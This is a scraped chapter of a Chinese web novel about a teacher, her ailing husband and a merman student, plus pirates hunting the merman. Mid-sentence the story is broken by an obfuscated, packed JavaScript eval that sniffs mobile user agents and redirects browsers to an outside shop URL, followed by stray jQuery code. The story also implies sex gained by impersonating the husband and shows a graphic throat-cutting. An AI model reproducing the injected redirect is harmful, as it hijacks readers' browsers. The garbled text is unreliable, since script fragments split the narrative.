文趣网 > 其他小说 > 替身成女主白月光 > 31. 第三十一章
    闻于泱回去的时候,屋子里的烛火还亮着。门半开,寝屋内没人。

    江怜渡还是没有回来。闻于泱累极了,匆匆洗漱完就上了榻。

    她特地留了一盏灯,以免江怜渡回来的时候看不见路。

    身体虽疲乏,闻于泱却没有一丝困意。今夜江怜渡要是还没回来,她明天再出门找找看好了。

    闻于泱翻了个身,还在想阮栖鸿是鲛人的事。她闭着眼,揉着酸胀的腿。

    鲛人与人终归不同,就像是有了思想的动物,改天她要去书坊看看有没有关乎鲛人的记载。

    屋内烛火熄了,有人上了榻。他搂住她的身躯,手在她后腰处游移。

    闻于泱睁眼,反手按住他的手,“阿渡,我没心情。”

    “我知晓。”他挨在她耳旁回着,咬了咬她的耳垂。

    江怜渡很少会咬她的耳垂,倒是……

    闻于泱眼前不受控制的浮现一张眸如点漆,唇红齿白的脸来。她怎么就想到他了?

    闻于泱往前挪了点,声音低沉,“你去哪了?”

    “于泱,如果哪天我不在了,你会再找一个夫君吗?”

    闻于泱紧锁眉心,翻了个身。她看不见他的脸,只能用手去描摹。

    他的眉毛好像更长了,鼻梁更高了,眼皮半开。她摸到了他的唇瓣,额头与他相抵,缓慢下移往上一吻。

    闻于泱喃喃道:“别想太多,快睡罢。”

    这一吻似乎激起了他的欲念,他翻身与她痴缠。他好像故意惩罚她一样,没轻没重的咬她。

    “于泱,你真让我又爱又恨……”

    闻于泱不懂他话里的意思。

    帷幔掀开又合拢,地上摞了一堆衣衫,红的白的交织,床板咯吱作响。

    她的脑子昏沉,像是在水里泡久了。衾被里似是灌入了冷风,湿滑的触感让闻于泱的眉头再度皱起。

    自江怜渡心疾频发以来,她与他甚少如今夜这般。

    “阿渡…”

    男子似乎没听见她的话,闻于泱捶了他肩膀。他似乎有心事,沉闷着不说话。

    翌日起来时,闻于泱的脖子上爬满了吻痕。

    今日还要出去授课,可不能让弟子看到。闻于泱一脸怨言,沾了粉将脖子上的痕迹遮了严实。

    江怜渡的脖子上也有一圈痕迹,不过都是些牙印。他走来时,环住她的腰身,就像猫儿般窝在她怀内。

    透过铜镜看去,闻于泱恍惚觉得,江怜渡好像长高了。莫非是吃药的缘故?

    闻于泱没想太多,揉着他的头轻声道:“时候不早了,我要出去了。”

    男子这才抬头,在她唇间落下一吻,一触即离。

    等闻于泱一出去,他才看向铜镜里的人,黑白分明的眸子似乎在观赏那张脸。

    他手摸向脖颈的一排牙印,低笑出声。似乎嫌那铜镜位置摆放不佳,他反手盖在了桌案上,铜镜霎时碎了七八瓣。

    闻于泱来到海边,恰好见到万宝棠的两个夫君站在船上收网。他们来得早,鱼都装了两篓子。

    唐玉早就在岸边等候了,他站在礁石上,正在练着甩竿。

    而万宝棠则是跟唐玉一道,耐心教着他如何把线抛出去,鱼饵怎么才能抛得远。

    唐玉听得仔细,配合着万宝棠的方法果真把线甩得老远。

    少年顿时高兴地跳起来,万宝棠也跟着夸赞了几句。

    惹得船上收网的两个夫君回头,心生怨怼。你一眼我一嘴的在问,这小白脸又是从哪冒出的,勾得他们娘子连正眼都不往这处看。

    “万娘子。”

    闻于泱一过来,唐玉就着急地朝她挥手,“夫子你看,这些都是我钓的。”

    鱼篓里装了两条鱼,唐玉扬起下巴,“怎么样?”

    “阿玉过不了多久可以出师了。”

    唐玉瞬间垮了脸,他来鱼礁岛还没玩够呢,怎么就能出师了?

    “师兄来的比我久,怎么他还在?”

    闻于泱想说,你师兄他死皮赖脸,你跟他怎么好相比。可话在嘴里,眸光看到那挺拔身影往此处走来,她住了口。

    “这你要去问他了。”

    闻于泱背身过去,挽着万宝棠要离开。

    眼尖的万宝棠看出了不对劲,她悄声问道:“怎么,是你那弟子惹你不高兴了?”

    她鼻音重重嗯了声,也不知从何说起。闻于泱扶额,万宝棠在她耳旁说了一堆阮栖鸿的好话,什么举止大方,彬彬有礼,待人宽厚……

    闻于泱咬牙,她恨不得想说,这一切都是假象。莫要以貌取人啊,你们都被他的外皮给骗了!

    他实际上是条会随处发情的臭鱼!与那猫啊,狗的,没什么区别。抓到人就发泄,事后也就一句道歉完事了,下次依旧!

    “儒雅。”闻于泱听到这词,冷哼了声。

    她这冷哼的怪调直接传到了他的耳中,某人仿若未闻,依然挂着温润的笑意。

    男子负手而立,望着那辽阔的海面,戏谑道:“夫子可是牙疼?昨夜——”

    “你说的对,我吃糖吃多了。”

    闻于泱捂嘴,扭曲着面孔龇牙想着。早知道就该咬掉他的肉,多咬几口,也不会像现在这样跟没事人一样打趣她。

    她斜睨他,他是想毁了她的事业吗?既然如此大逆不道,光天化日之下就要往外说。

    日光照来,那脖子上的牙印清晰可见。万宝棠咦道,“阮郎君这是有心上人了?”

    唐玉从礁石上跳下,垫脚绕着阮栖鸿走了一圈,“师兄脖子上怎么这么多牙印,你昨夜干嘛去了?”

    他们的目光都放在那脖子处,闻于泱眯眼,也看见了那密密麻麻的牙印。她记得,她不过就是咬了一口。

    难不成她脑子混沌,胡乱咬了一通,连她自己都没发觉?

    没有人看到她耳垂胀红,闻于泱捂住脸,在阮栖鸿意味深长的目光下跑向了远处的亭子。她真怕他不管不顾的说出来,她与他昨夜行不轨之事……

    她脚步不停,一口气跨上了台阶。风声呼呼,闻于泱慌得心脏要跳出去。

    她跑出去的那刹那,有人不闻俩人好奇的追问,也提步跟了过去。

    阮栖鸿拽住了她的胳膊,沉声道:“夫子,你跑什么?”

    树叶摇晃,点点绿影落在青石板上。

    闻于泱站得高,与他刚好能平视,她死死盯着那幽深的眸子,怨气四溢,“你为何不穿高一点的衣领,为何不挡住它?”

    在阮栖鸿错愕的视线中,闻于泱把他衣襟拉高,也只能

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604668|202718||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    勉强遮个大概。

    她应该往下咬,闻于泱烦躁的松开手,阮栖鸿闷笑,反握住她的手道:“弟子下次谨记。”

    下次?他还想有下次?闻于泱气得腮帮鼓起,差点一口老血当场呕出,她收回手道:“阮栖鸿,你这是以下犯上。”

    -

    一只海鸥划过天际,白色的羽毛扑闪,落到了船头男子的肩上。

    他轻抚着鸟兽的羽毛,手里把玩着一条束带。他低头闻着,轻嗅束带上残留的清香。

    那不是普通的香气,是独属于鲛人身上的气味。

    “好宝儿,找到它了吗?”

    肩膀上的白鸥叽叽喳喳,男子长相粗犷,蓄着长髯。他偏头,独眼示意旁边的人。

    “二当家,要不要先知会一声头儿?”

    许雄脸色不爽快,“怎么?你跟在老子身边这么久,这心里看样子是一点都没有我的位置。”

    那人吓得一身冷汗,忙跪下道:“小的不敢,小的绝无——”

    男子话卡在了喉咙中,再也吐不出来。那弯刀划破了他的脖颈,鲜血喷涌而出。

    船头的海盗各个屏气凝神,不敢支支吾吾一声。

    肩膀的海鸥长啸,飞扑向倒地的尸体。十几只鸟兽,没一会就将那尸体啄得糜烂。

    许雄横跨过那肉身,没看一眼。他弯刀指向其中一人,沉声命道:“你来说。”

    男子腿一软,扑跪在地,身躯抖如筛糠。他闭眼,不去看地上血腥的一幕。

    “找…找着了,鲛人应是在鱼礁岛的渔村。”

    寒光掠过,冰冷锋利的刀刃抬起了他的下颚,许雄俯视他,挑眉问道:“很好,你叫什么名字?”

    男子挺直脊背,齿关打架:“小的……小的名叫刘武。”

    许雄满意的收起了刀,他拎小鸡仔一样将人提起。捋顺他褶皱的衣摆,笑道:“刘武,以后就由你来顶替他的位置。”

    刘武忍着觳觫不止的肩头,余光里,地上的尸身早已被鸟兽吃得连渣都不剩。

    许雄把刀扔给了刘武,他负手站于船头,命船往渔村的方向驶去。

    他忍端昌昧很久了,海盗里甚少有人知晓他其中一只眼就是端昌昧刺瞎的。

    渔村许雄最是熟悉,他就生在那长在那。儿时被母亲揍了一顿,他就离家出走了。

    在海上漂了数日遇见了端昌昧,他看他泪流满面,手腕上还有青紫的痕迹,便收留了他。

    出于内心的感激,许雄领着端昌昧等人去了家中。令他没想到的是,端昌昧竟是披着羊皮的狼。

    他劫掠了家里的财物,在他哭喊时捂住他的嘴,戳瞎了他的眼。端昌昧说,这钱你也有一份,我放你一马。跟我干,保准日子过得逍遥自在。

    许雄不是被他的诱惑吸引,他恨极了自己,他不该被这人的表象蛊惑。

    鲜血沾了满手,许雄仿佛感受不到痛。脑子前所未有的清醒,他黑白分明的一只眼望着他,说道:“好。”

    许雄暗暗发誓,总有一天,他会取代端昌昧的位置,然后杀了他。

    夜风猎猎,刘武小跑过来,禀道:“二当家,前面就是渔村了。”

    许雄抹了把脸,打起精神。须发被风吹得凌乱,他活动筋骨说道:“进村。”